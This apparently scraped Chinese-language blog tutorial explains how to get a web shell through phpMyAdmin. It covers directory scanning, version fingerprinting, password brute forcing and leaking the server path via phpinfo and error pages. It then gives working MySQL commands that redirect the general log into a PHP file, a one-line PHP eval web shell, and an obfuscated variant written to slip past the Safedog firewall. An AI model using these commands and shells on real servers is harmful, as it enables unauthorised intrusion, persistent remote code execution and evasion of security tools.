生活就是泥沙俱下,鮮花和荊棘並存。——畢淑敏
1、明確目標
2、信息收集
3、漏洞挖掘和利用
信息收集
明確路徑
利用目錄掃描工具,對目標網站進行掃描,獲取網站目錄。常用工具有Kali中的DirBuster、dirb和wwwscan等。
我用的是Kali中的DirBuster,對目標進行掃描。
明確版本
利用內置的文件,(…../phpMyAdmin/README)獲取phpMyAdmin的版本信息。
一般網站管理員不會把這個目錄刪除,所以可以成為我們利用的一個點。
明確登錄口令
有兩種方法,手工和暴力破解。手工就是用一些弱口令進行猜解。
暴力破解可以用phpMyAdmin多線程批量破解工具來對phpMyAdmin進行暴力破解。
但是工具只是給我們提供參考的,而且工具爆破對phpMyAdmin的版本有一定的要求。
明確系統類型
因為系統版本的不同,對權限的控制是不同的。Linux系統對權限的控制相對嚴格,而window則相對較為疏散的。所以說對window進行getshell相比Linux要容易。
明確php版本和數據庫版本
可以在phpMyAdmin的管理也可以看到php版本、MySQL版本,系統類型。
因為php版本的差異,對滲透的利用是不一樣的。
獲取網站真實路徑
phpinfo()函數直接獲取
通過phpinfo.php或者phpinfo()進行獲取網站真實路徑。
php 大專欄 getshell技巧-phpMyAdmin的利用info.php中會有大量的信息,有php版本、網站路徑等。
構造報錯頁面獲取網站真實路徑
通過構造報錯可能會報出網站的真實路徑。常見的有頁面訪問報錯、sql注入報錯,文件包含報錯。
phpmyadmin報錯常見路徑:
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
/phpMyAdmin/themes/darkblue_orange/layout.inc.php
/phpMyAdmin/libraries/select_lang.lib.php
/phpMyAdmin/libraries/lect_lang.lib.php
/phpMyAdmin/libraries/mcrypt.lib.php
借助搜索引擎
借助搜索引擎,例如:百度、谷歌、fofa、shadon、zoomeye等,搜索關鍵字“error”,可能會報出網站的真實路徑。
漏洞挖掘和利用
滿足寫shell的前提條件
SHOW VARIABLES LIKE “%secure_file_priv%”; 查看讀寫文件路徑 “secure_file_priv”對應的值不能為null,為null就不能正常寫入shell。
日志寫shell
首先需要檢測MySQL全局變量(general_log、general_log_file)的值。
general_log是日志保存狀態,一共有兩個值(ON/OFF),ON代表開啟,OFF代表關閉。
general_log_file是日志的保存路徑
1、開啟日志保存
set global general_log=”ON”;
set global general_log_file=”D:/phpStudy/WWW/infos.php”(網站真實路徑)
2、寫shell
select ‘<?php eval($_POST[yumu)];?>’
免殺(繞過安全狗)
$arr = array(‘a’,’s’,’s’,’s’,’e’,’r’,’t’);
$func = “”;
for($i=0;$i<count($arr);$i++){
$func = $func.$arr[$i];
}
$func = substr($func,-6);
$func($_REQUEST[‘c’]);
#總結
在利用phpMyAdmin來getshell時,需要注意對網站信息的收集,特別是網站的PHP版本、網站真實路徑。這樣才能更好的對網站就行漏洞挖掘。